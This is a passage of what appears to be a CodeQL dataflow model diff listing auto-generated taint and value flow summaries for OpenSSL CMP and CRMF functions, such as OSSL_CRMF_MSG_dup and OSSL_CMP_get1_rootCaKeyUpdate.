"OSSL_CMP_SRV_CTX_set_accept_raverified", "(OSSL_CMP_SRV_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*acceptRAVerified]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_SRV_CTX_set_accept_unprotected", "(OSSL_CMP_SRV_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*acceptUnprotected]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_SRV_CTX_set_grant_implicit_confirm", "(OSSL_CMP_SRV_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*grantImplicitConfirm]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_SRV_CTX_set_send_unprotected_errors", "(OSSL_CMP_SRV_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*sendUnprotectedErrors]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_SRV_process_request", "(OSSL_CMP_SRV_CTX *,const OSSL_CMP_MSG *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_STATUSINFO_new", "(int,int,const char *)", "", "Argument[0]", "ReturnValue[*].Field[**status].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_certConf_cb", "(OSSL_CMP_CTX *,X509 *,int,const char **)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_certConf_cb", "(OSSL_CMP_CTX *,X509 *,int,const char **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_certConf_cb", "(OSSL_CMP_CTX *,X509 *,int,const char **)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_exec_certreq", "(OSSL_CMP_CTX *,int,const OSSL_CRMF_MSG *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_exec_certreq", "(OSSL_CMP_CTX *,int,const OSSL_CRMF_MSG *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_exec_certreq", "(OSSL_CMP_CTX *,int,const OSSL_CRMF_MSG *)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_get1_caCerts", "(OSSL_CMP_CTX *,stack_st_X509 **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_get1_certReqTemplate", "(OSSL_CMP_CTX *,OSSL_CRMF_CERTTEMPLATE **,OSSL_CMP_ATAVS **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_get1_certReqTemplate", "(OSSL_CMP_CTX *,OSSL_CRMF_CERTTEMPLATE **,OSSL_CMP_ATAVS **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_get1_certReqTemplate", "(OSSL_CMP_CTX *,OSSL_CRMF_CERTTEMPLATE **,OSSL_CMP_ATAVS **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_get1_certReqTemplate", "(OSSL_CMP_CTX *,OSSL_CRMF_CERTTEMPLATE **,OSSL_CMP_ATAVS **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_get1_certReqTemplate", "(OSSL_CMP_CTX *,OSSL_CRMF_CERTTEMPLATE **,OSSL_CMP_ATAVS **)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_get1_crlUpdate", "(OSSL_CMP_CTX *,const X509 *,const X509_CRL *,X509_CRL **)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_get1_rootCaKeyUpdate", "(OSSL_CMP_CTX *,const X509 *,X509 **,X509 **,X509 **)", "", "Argument[**2]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_get1_rootCaKeyUpdate", "(OSSL_CMP_CTX *,const X509 *,X509 **,X509 **,X509 **)", "", "Argument[**3]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_get1_rootCaKeyUpdate", "(OSSL_CMP_CTX *,const X509 *,X509 **,X509 **,X509 **)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_get1_rootCaKeyUpdate", "(OSSL_CMP_CTX *,const X509 *,X509 **,X509 **,X509 **)", "", "Argument[*2]", "Argument[**2]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_get1_rootCaKeyUpdate", "(OSSL_CMP_CTX *,const X509 *,X509 **,X509 **,X509 **)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_get1_rootCaKeyUpdate", "(OSSL_CMP_CTX *,const X509 *,X509 **,X509 **,X509 **)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_get1_rootCaKeyUpdate", "(OSSL_CMP_CTX *,const X509 *,X509 **,X509 **,X509 **)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_get1_rootCaKeyUpdate", "(OSSL_CMP_CTX *,const X509 *,X509 **,X509 **,X509 **)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_get1_rootCaKeyUpdate", "(OSSL_CMP_CTX *,const X509 *,X509 **,X509 **,X509 **)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_get1_rootCaKeyUpdate", "(OSSL_CMP_CTX *,const X509 *,X509 **,X509 **,X509 **)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_snprint_PKIStatusInfo", "(const OSSL_CMP_PKISI *,char *,size_t)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_snprint_PKIStatusInfo", "(const OSSL_CMP_PKISI *,char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_snprint_PKIStatusInfo", "(const OSSL_CMP_PKISI *,char *,size_t)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_snprint_PKIStatusInfo", "(const OSSL_CMP_PKISI *,char *,size_t)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_try_certreq", "(OSSL_CMP_CTX *,int,const OSSL_CRMF_MSG *,int *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_try_certreq", "(OSSL_CMP_CTX *,int,const OSSL_CRMF_MSG *,int *)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_validate_msg", "(OSSL_CMP_CTX *,const OSSL_CMP_MSG *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_ATTRIBUTETYPEANDVALUE_dup", "(const OSSL_CRMF_ATTRIBUTETYPEANDVALUE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_ATTRIBUTETYPEANDVALUE_dup", "(const OSSL_CRMF_ATTRIBUTETYPEANDVALUE *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_ATTRIBUTETYPEANDVALUE_dup", "(const OSSL_CRMF_ATTRIBUTETYPEANDVALUE *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_ATTRIBUTETYPEANDVALUE_dup", "(const OSSL_CRMF_ATTRIBUTETYPEANDVALUE *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_ATTRIBUTETYPEANDVALUE_dup", "(const OSSL_CRMF_ATTRIBUTETYPEANDVALUE *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_ATTRIBUTETYPEANDVALUE_free", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_ATTRIBUTETYPEANDVALUE_free", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTID_dup", "(const OSSL_CRMF_CERTID *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTID_dup", "(const OSSL_CRMF_CERTID *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTID_dup", "(const OSSL_CRMF_CERTID *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTID_dup", "(const OSSL_CRMF_CERTID *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTID_dup", "(const OSSL_CRMF_CERTID *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTID_free", "(OSSL_CRMF_CERTID *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTID_free", "(OSSL_CRMF_CERTID *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTID_gen", "(const X509_NAME *,const ASN1_INTEGER *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTID_gen", "(const X509_NAME *,const ASN1_INTEGER *)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTID_get0_serialNumber", "(const OSSL_CRMF_CERTID *)", "", "Argument[*0].Field[**serialNumber]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_CERTID_get0_serialNumber", "(const OSSL_CRMF_CERTID *)", "", "Argument[*0].Field[*serialNumber]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_CERTREQUEST_dup", "(const OSSL_CRMF_CERTREQUEST *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTREQUEST_dup", "(const OSSL_CRMF_CERTREQUEST *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTREQUEST_dup", "(const OSSL_CRMF_CERTREQUEST *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTREQUEST_dup", "(const OSSL_CRMF_CERTREQUEST *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTREQUEST_dup", "(const OSSL_CRMF_CERTREQUEST *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTREQUEST_free", "(OSSL_CRMF_CERTREQUEST *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTREQUEST_free", "(OSSL_CRMF_CERTREQUEST *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTTEMPLATE_dup", "(const OSSL_CRMF_CERTTEMPLATE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTTEMPLATE_dup", "(const OSSL_CRMF_CERTTEMPLATE *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTTEMPLATE_dup", "(const OSSL_CRMF_CERTTEMPLATE *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTTEMPLATE_dup", "(const OSSL_CRMF_CERTTEMPLATE *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTTEMPLATE_dup", "(const OSSL_CRMF_CERTTEMPLATE *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTTEMPLATE_fill", "(OSSL_CRMF_CERTTEMPLATE *,EVP_PKEY *,const X509_NAME *,const X509_NAME *,const ASN1_INTEGER *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTTEMPLATE_fill", "(OSSL_CRMF_CERTTEMPLATE *,EVP_PKEY *,const X509_NAME *,const X509_NAME *,const ASN1_INTEGER *)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTTEMPLATE_fill", "(OSSL_CRMF_CERTTEMPLATE *,EVP_PKEY *,const X509_NAME *,const X509_NAME *,const ASN1_INTEGER *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTTEMPLATE_fill", "(OSSL_CRMF_CERTTEMPLATE *,EVP_PKEY *,const X509_NAME *,const X509_NAME *,const ASN1_INTEGER *)", "", "Argument[*3]", "Argument[3]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTTEMPLATE_fill", "(OSSL_CRMF_CERTTEMPLATE *,EVP_PKEY *,const X509_NAME *,const X509_NAME *,const ASN1_INTEGER *)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTTEMPLATE_fill", "(OSSL_CRMF_CERTTEMPLATE *,EVP_PKEY *,const X509_NAME *,const X509_NAME *,const ASN1_INTEGER *)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTTEMPLATE_fill", "(OSSL_CRMF_CERTTEMPLATE *,EVP_PKEY *,const X509_NAME *,const X509_NAME *,const ASN1_INTEGER *)", "", "Argument[3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTTEMPLATE_free", "(OSSL_CRMF_CERTTEMPLATE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTTEMPLATE_free", "(OSSL_CRMF_CERTTEMPLATE *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTTEMPLATE_get0_extensions", "(const OSSL_CRMF_CERTTEMPLATE *)", "", "Argument[*0].Field[**extensions]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_CERTTEMPLATE_get0_extensions", "(const OSSL_CRMF_CERTTEMPLATE *)", "", "Argument[*0].Field[*extensions]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_CERTTEMPLATE_get0_issuer", "(const OSSL_CRMF_CERTTEMPLATE *)", "", "Argument[*0].Field[**issuer]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_CERTTEMPLATE_get0_issuer", "(const OSSL_CRMF_CERTTEMPLATE *)", "", "Argument[*0].Field[*issuer]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_CERTTEMPLATE_get0_publicKey", "(const OSSL_CRMF_CERTTEMPLATE *)", "", "Argument[*0].Field[**publicKey]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_CERTTEMPLATE_get0_publicKey", "(const OSSL_CRMF_CERTTEMPLATE *)", "", "Argument[*0].Field[*publicKey]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_CERTTEMPLATE_get0_serialNumber", "(const OSSL_CRMF_CERTTEMPLATE *)", "", "Argument[*0].Field[**serialNumber]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_CERTTEMPLATE_get0_serialNumber", "(const OSSL_CRMF_CERTTEMPLATE *)", "", "Argument[*0].Field[*serialNumber]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_CERTTEMPLATE_get0_subject", "(const OSSL_CRMF_CERTTEMPLATE *)", "", "Argument[*0].Field[**subject]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_CERTTEMPLATE_get0_subject", "(const OSSL_CRMF_CERTTEMPLATE *)", "", "Argument[*0].Field[*subject]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_ENCKEYWITHID_IDENTIFIER_free", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_ENCKEYWITHID_IDENTIFIER_free", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_ENCKEYWITHID_free", "(OSSL_CRMF_ENCKEYWITHID *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_ENCKEYWITHID_free", "(OSSL_CRMF_ENCKEYWITHID *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_ENCRYPTEDKEY_free", "(OSSL_CRMF_ENCRYPTEDKEY *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_ENCRYPTEDKEY_free", "(OSSL_CRMF_ENCRYPTEDKEY *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_ENCRYPTEDKEY_get1_encCert", "(const OSSL_CRMF_ENCRYPTEDKEY *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,unsigned int)", "", "Argument[*1]", "ReturnValue.Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_ENCRYPTEDKEY_get1_encCert", "(const OSSL_CRMF_ENCRYPTEDKEY *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,unsigned int)", "", "Argument[*1]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_ENCRYPTEDKEY_get1_encCert", "(const OSSL_CRMF_ENCRYPTEDKEY *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,unsigned int)", "", "Argument[*2]", "ReturnValue.Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_ENCRYPTEDKEY_get1_encCert", "(const OSSL_CRMF_ENCRYPTEDKEY *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,unsigned int)", "", "Argument[*2]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_ENCRYPTEDKEY_get1_encCert", "(const OSSL_CRMF_ENCRYPTEDKEY *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,unsigned int)", "", "Argument[1]", "ReturnValue.Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_ENCRYPTEDKEY_get1_encCert", "(const OSSL_CRMF_ENCRYPTEDKEY *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,unsigned int)", "", "Argument[1]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_ENCRYPTEDKEY_get1_encCert", "(const OSSL_CRMF_ENCRYPTEDKEY *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,unsigned int)", "", "Argument[2]", "ReturnValue.Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_ENCRYPTEDKEY_get1_encCert", "(const OSSL_CRMF_ENCRYPTEDKEY *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,unsigned int)", "", "Argument[2]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_ENCRYPTEDKEY_init_envdata", "(CMS_EnvelopedData *)", "", "Argument[*0]", "ReturnValue[*].Field[*value].Union[**(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_ENCRYPTEDKEY_init_envdata", "(CMS_EnvelopedData *)", "", "Argument[0]", "ReturnValue[*].Field[*value].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_ENCRYPTEDVALUE_decrypt", "(const OSSL_CRMF_ENCRYPTEDVALUE *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,int *)", "", "Argument[*4]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_ENCRYPTEDVALUE_decrypt", "(const OSSL_CRMF_ENCRYPTEDVALUE *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,int *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_ENCRYPTEDVALUE_decrypt", "(const OSSL_CRMF_ENCRYPTEDVALUE *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,int *)", "", "Argument[4]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_ENCRYPTEDVALUE_free", "(OSSL_CRMF_ENCRYPTEDVALUE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_ENCRYPTEDVALUE_free", "(OSSL_CRMF_ENCRYPTEDVALUE *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_ENCRYPTEDVALUE_get1_encCert", "(const OSSL_CRMF_ENCRYPTEDVALUE *,OSSL_LIB_CTX *,const char *,EVP_PKEY *)", "", "Argument[*1]", "ReturnValue.Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_ENCRYPTEDVALUE_get1_encCert", "(const OSSL_CRMF_ENCRYPTEDVALUE *,OSSL_LIB_CTX *,const char *,EVP_PKEY *)", "", "Argument[*1]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_ENCRYPTEDVALUE_get1_encCert", "(const OSSL_CRMF_ENCRYPTEDVALUE *,OSSL_LIB_CTX *,const char *,EVP_PKEY *)", "", "Argument[*2]", "ReturnValue.Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_ENCRYPTEDVALUE_get1_encCert", "(const OSSL_CRMF_ENCRYPTEDVALUE *,OSSL_LIB_CTX *,const char *,EVP_PKEY *)", "", "Argument[*2]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_ENCRYPTEDVALUE_get1_encCert", "(const OSSL_CRMF_ENCRYPTEDVALUE *,OSSL_LIB_CTX *,const char *,EVP_PKEY *)", "", "Argument[1]", "ReturnValue.Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_ENCRYPTEDVALUE_get1_encCert", "(const OSSL_CRMF_ENCRYPTEDVALUE *,OSSL_LIB_CTX *,const char *,EVP_PKEY *)", "", "Argument[1]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_ENCRYPTEDVALUE_get1_encCert", "(const OSSL_CRMF_ENCRYPTEDVALUE *,OSSL_LIB_CTX *,const char *,EVP_PKEY *)", "", "Argument[2]", "ReturnValue.Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_ENCRYPTEDVALUE_get1_encCert", "(const OSSL_CRMF_ENCRYPTEDVALUE *,OSSL_LIB_CTX *,const char *,EVP_PKEY *)", "", "Argument[2]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_MSGS_free", "(OSSL_CRMF_MSGS *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_MSGS_free", "(OSSL_CRMF_MSGS *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_MSG_PKIPublicationInfo_push0_SinglePubInfo", "(OSSL_CRMF_PKIPUBLICATIONINFO *,OSSL_CRMF_SINGLEPUBINFO *)", "", "Argument[*1]", "Argument[*0].Field[**pubInfos].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_MSG_PKIPublicationInfo_push0_SinglePubInfo", "(OSSL_CRMF_PKIPUBLICATIONINFO *,OSSL_CRMF_SINGLEPUBINFO *)", "", "Argument[1]", "Argument[*0].Field[**pubInfos].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_MSG_create_popo", "(int,OSSL_CRMF_MSG *,EVP_PKEY *,const EVP_MD *,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*1].Field[**popo].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_MSG_dup", "(const OSSL_CRMF_MSG *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_MSG_dup", "(const OSSL_CRMF_MSG *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_MSG_dup", "(const OSSL_CRMF_MSG *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_MSG_dup", "(const OSSL_CRMF_MSG *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_MSG_dup", "(const OSSL_CRMF_MSG *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_MSG_free", "(OSSL_CRMF_MSG *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_MSG_free", "(OSSL_CRMF_MSG *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_MSG_get0_tmpl", "(const OSSL_CRMF_MSG *)", "", "Argument[*0].Field[**certReq].Field[**certTemplate]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_MSG_get0_tmpl", "(const OSSL_CRMF_MSG *)", "", "Argument[*0].Field[**certReq].Field[*certTemplate]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_MSG_set0_SinglePubInfo", "(OSSL_CRMF_SINGLEPUBINFO *,int,GENERAL_NAME *)", "", "Argument[*2]", "Argument[*0].Field[**pubLocation]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_MSG_set0_SinglePubInfo", "(OSSL_CRMF_SINGLEPUBINFO *,int,GENERAL_NAME *)", "", "Argument[1]", "Argument[*0].Field[**pubMethod].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_MSG_set0_SinglePubInfo", "(OSSL_CRMF_SINGLEPUBINFO *,int,GENERAL_NAME *)", "", "Argument[2]", "Argument[*0].Field[*pubLocation]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_MSG_set1_regCtrl_oldCertID", "(OSSL_CRMF_MSG *,const OSSL_CRMF_CERTID *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_MSG_set1_regCtrl_pkiPublicationInfo", "(OSSL_CRMF_MSG *,const OSSL_CRMF_PKIPUBLICATIONINFO *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_MSG_set1_regInfo_certReq", "(OSSL_CRMF_MSG *,const OSSL_CRMF_CERTREQUEST *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_MSG_set_PKIPublicationInfo_action", "(OSSL_CRMF_PKIPUBLICATIONINFO *,int)", "", "Argument[1]", "Argument[*0].Field[**action].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_OPTIONALVALIDITY_free", "(OSSL_CRMF_OPTIONALVALIDITY *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_OPTIONALVALIDITY_free", "(OSSL_CRMF_OPTIONALVALIDITY *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_PBMPARAMETER_free", "(OSSL_CRMF_PBMPARAMETER *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_PBMPARAMETER_free", "(OSSL_CRMF_PBMPARAMETER *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_PKIPUBLICATIONINFO_dup", "(const OSSL_CRMF_PKIPUBLICATIONINFO *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_PKIPUBLICATIONINFO_dup", "(const OSSL_CRMF_PKIPUBLICATIONINFO *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_PKIPUBLICATIONINFO_dup", "(const OSSL_CRMF_PKIPUBLICATIONINFO *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_PKIPUBLICATIONINFO_dup", "(const OSSL_CRMF_PKIPUBLICATIONINFO *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_PKIPUBLICATIONINFO_dup", "(const OSSL_CRMF_PKIPUBLICATIONINFO *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_PKIPUBLICATIONINFO_free", 